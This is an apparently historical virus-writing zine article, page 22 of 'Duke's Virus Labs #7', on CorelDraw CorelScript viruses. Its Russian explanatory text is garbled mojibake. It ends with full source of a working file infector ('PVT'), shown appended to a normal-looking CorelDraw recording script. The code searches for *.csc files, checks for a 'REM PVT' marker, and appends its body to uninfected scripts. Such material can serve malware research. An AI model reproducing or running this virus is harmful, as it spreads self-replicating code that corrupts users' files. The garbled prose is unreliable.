- [Duke's Virus Labs #7] - [Page 22] -

                 C O R E L   S C R I P T   v i r u s e s
                 =======================================
                            (c) by Duke/SMF

    ᮢᥬ  ,  ᠭ ᮢ, ࠦ 䠩 
ᬮ 㭪,  .   । 祫᪮ 䠭⠧.
  ᮯ⥫  ࠧࠡ稪 ࠧ筮 த Software .
  ᮧ⥫ CorelDraw 諨  ⮯  Microsoft  稫
 ᫥  ᢮ ணࠬ প ᮢ.   
ᮤঠ  ᮡ⢥ ᪮ ଠ CorelDraw - CSC-䠩. 
 뢠 CorelDraw Script   ᮡ Visual Basic.
    ᠬ  ࠧ  ணࠬ஢ ⠭
ꥪ⮬  ᮯ⥫.  ⠫   CS...    CS
ᠫ zAxOn/DDT ᭮ 1999 .
    室 ᪠뢠    몠 CS.  
  ,   ਣ  ᮧ ᮢ  CS.
⭮  ஢   Visual Basic  來. ᫨   
  ,      -     ᨪ
ᯥࢠ ⠩.
   ਥ  CS  ப, 稭騥  "REM ".  믮
"ᢥ-"  ⮬  ᫮ । ࠢ :

       Goto Metka
       ..........
       Metka:
       ..........

ப ६    ᫥ ᨬ "$"
(筮 VB). ਬ : Stroka$ ( ,   ࠢ
  믮 ;)) .  ᢠ 祭
ப ६   ᨬ ( ⮬ ᫥ 0Ah,0Dh),
祭  祪 "".
     祭 ᪨ ६  ᫮  ᯮ짮
᪨ 離 AND, OR, NOT.

    롮.
   ~~~~~~~~~~~~~~~~
 ᨬ  ⢠ 믮塞    Else    :
            If <᫮> Then <>
᫨ 믮   , 
            If <᫮> Then
            <>
            End If
     ⥯ .

    横.
   ~~~~~~~~~~~~~~~
믮   ࠢ ᪮ ᫮. ⠪ :
            Do While <᫮>
            <>
            Loop

   ⠭ 楤:
   ~~~~~~~~~~~~~~~~~~~~~~
Messagebox Stroka$,Titul,Code  - 뢮   ᮮ饭 Stroka$ 
                                  Titul  㭪, ᮮ⢥騬
                                  Code (. VB)

   ⠭ 㭪樨, 騥 ப ⨯, :
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
GetCurrDate()
    - ⥪  ( ଠ )
Left(Stroka$,Number)
    - ᠬ  Number ᨬ  ப Stroka$
Mid(Stroka$,Position,Number)
    - Number ᨬ  ப Stroka$ 稭   Position
FindFirstFolder(Mask$,Attribute)
    -  ࢮ 䠩  ᪥ Mask$  ਡ⠬ Attribute.
      (筮 FindFirst  ᪠.)
       Mask$  㪠   ᯮ짮 ᨬ *  ?
       Attribute  ᯮ짮 ᪨ 離 AND, OR, NOT
FindNextFolder()
    -  । 䠩  ࠭  ᪥  ਡ⠬.
      ਧ 襭 ᯨ᪠ 䠩, 㤮⢮  ᫮,
       饭 ⮩ 㭪樥 ⮩ ப "".

   ⠭ 㭪樨, 騥 楫 ⨯,  :
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Instr(String$,SubString$,Number)
    -  宦 ப SubString$  ப String$.
      ᫨ 宦 ,  頥 0.

     䠩 :
   ~~~~~~~~~~~~~~~~~~
Open FileName$ For Input As #Number
    - 뢠 䠩   FileName$  ⥭, ᮯ⠢  䠩
      ६ #Number,  Number - 楫 ᫮  1,  ᮢ饥
       ࠭ ᯮ짮 (. VB)
Open FileName$ For Output As #Number
    - 뢠 䠩   FileName$  , ᮯ⠢  䠩
      ६ #Number,  Number - 楫 ᫮  1,  ᮢ饥
       ࠭ ᯮ짮 (. VB)
      ᫨ 䠩 㦥 ,   १뢠
Open FileName$ For Append As #Number
    - 뢠 䠩   FileName$  , ᮯ⠢  䠩
      ६ #Number,  Number - 楫 ᫮  1,  ᮢ饥
       ࠭ ᯮ짮 (. VB)
       ப 뢠  
Line Input #Number,Stroka$
    -  ப  䠩 #Number  ६ Stroka$
       ⮣ 䠩 ⠥  ப.
Print #Number,Stroka$
    -  ப Stroka$  䠩 #Number
Close
    - 뢠  ࠭ 䠩
Kill Stroka$
    - 㤠 䠩   Stroka$
Rename Stroka1$, Stroka2$, Code
    - २뢠 䠩 Stroka1$  Stroka2$ (Code = 0)
Eof(Number)
    - ᪠ 稭,  ਧ  䠩 Number

    CorelScript  אַ 㯠   䠩,  ஬  ਯ
ᮤন. ⮬ 室   । ⮯
.  ⮣ ᪠ ⥪ ४   䠩 CSC  ⪨
.  ⪠ ,  ⮣ ࠦ 䠩  
⤥ ⥪⮢ ६.  쭥襬 ࠧ ⥫  
  ⮣ 䠩.  ஫  ࠦ 䠩 ᯮ  
ᠬ ⪨.
     樮  ࠦ CSC-䠩, 뢠  .
  १砩 :
-  ᪠ ४,   䠩 CSC  ⪠ "REM PVT" ,
    砫 . ᫨ ⪠   - 䠩, 
   ⮣ 䠩 뢠  ६ Dropper$
-  ᪠ ४,   䠩 CSC  ⪠ "REM PVT".
   ᫨ ⪠ ,  䠩 㦥 ࠦ   室   㣮
   䠩.
-  ᫨ ⪠  ,  뢠  䠩  ,
   뢠 䠩  ᮬ  ⥭  饬  ࠦ 䠩  砫
    "REM PVT". 稭  ⮩ ⪨  ⥫   筮
    ࠦ 䠩.
-  饬  䠩,   .
    㭮, ᨬ㫨騩 ࠦ CSC-䠩,    CSC.Gala
ࠦ 䠩   :

===== Cut here =====
REM REM Converted from a DRAW PRESET binary to a DRAW RECORDING script

WITHOBJECT "CorelDraw.Automation.7"
        .StartOfRecording
        .SuppressPainting
        .RecorderStorePreselectedObjects TRUE
        .RecorderSelectObjectByIndex TRUE, 1
        .ApplyOutline 0, 0, 0, 0, 0, 0, 0, -1, -1, FALSE, 0, 0, FALSE
        .RecorderSelectObjectByIndex TRUE, 1
        .DuplicateObject 0, 0
        .RecorderSelectObjectByIndex TRUE, 2
        .StretchObject 0.836417, 1, 0.836417, 1, FALSE, FALSE, 5
        .RecorderSelectObjectByIndex TRUE, 2
        .ApplyUniformFillColor 2, 0, 0, 0, 40
        .RecorderSelectObjectByIndex TRUE, 1
        .ApplyUniformFillColor 2, 0, 0, 0, 0
        .RecorderSelectPreselectedObjects TRUE
        .RecorderSelectObjectsByIndex FALSE, 2, -1, -1, -1, -1
        .ApplyBlend TRUE, 20, 0, FALSE, 0, FALSE, FALSE, 0, 0, 0, TRUE, TRUE, FALSE, FA|GPLSE, 0, 0, 0, 0
        .RecorderSelectObjectByIndex TRUE, 1
        .DuplicateObject 0, 0
        .RecorderSelectObjectByIndex TRUE, 4
        .MoveObject -19303, 13461
        .RecorderSelectObjectByIndex TRUE, 4
        .ApplyUniformFillColor 2, 0, 100, 100, 0
        .RecorderSelectObjectByIndex TRUE, 4
        .OrderToFront
        .RecorderSelectObjectByIndex TRUE, 4
        .MoveObject -2793, 7365
        .RecorderSelectPreselectedObjects TRUE
        .RecorderSelectObjectsByIndex FALSE, 4, 3, 2, -1, -1
        .Group
        .ResumePainting
        .EndOfRecording
END WITHOBJECT

REM PVT by Duke/SMF
FileName$=FindFirstFolder ("*.csc",32 or 128)
Do While Not FileName$=""
Open FileName$ For Input As #1
Do While Not Eof(1)
Line Input #1,Lines$
If Left(Lines$,7)="REM PVT" Then Dropper$=FileName$
Loop
Close
FileName$=FindNextFolder ()
Loop
FileName$=FindFirstFolder ("*.csc",32 or 128)
Do While Not FileName$=""
Open FileName$ For Input As #1
Infected=0
Do While Not Eof(1)
Line Input #1,Lines$
If Left(Lines$,7)="REM PVT" Then Infected=1
Loop
Close
If Infected=1 Then Goto NextFile
Open FileName$ For Append As #1
Open Dropper$ For Input As #2
FindRem=0
Do While FindRem=0
Line Input #2,Lines$
If Left(Lines$,7)="REM PVT" Then FindRem=1
Loop
Do While Not Eof(2)
Print #1,Lines$
Line Input #2,Lines$
Loop
Print #1,Lines$
Close
NextFile:
FileName$=FindNextFolder ()
Loop
REM End of PVT
===== Cut here =====

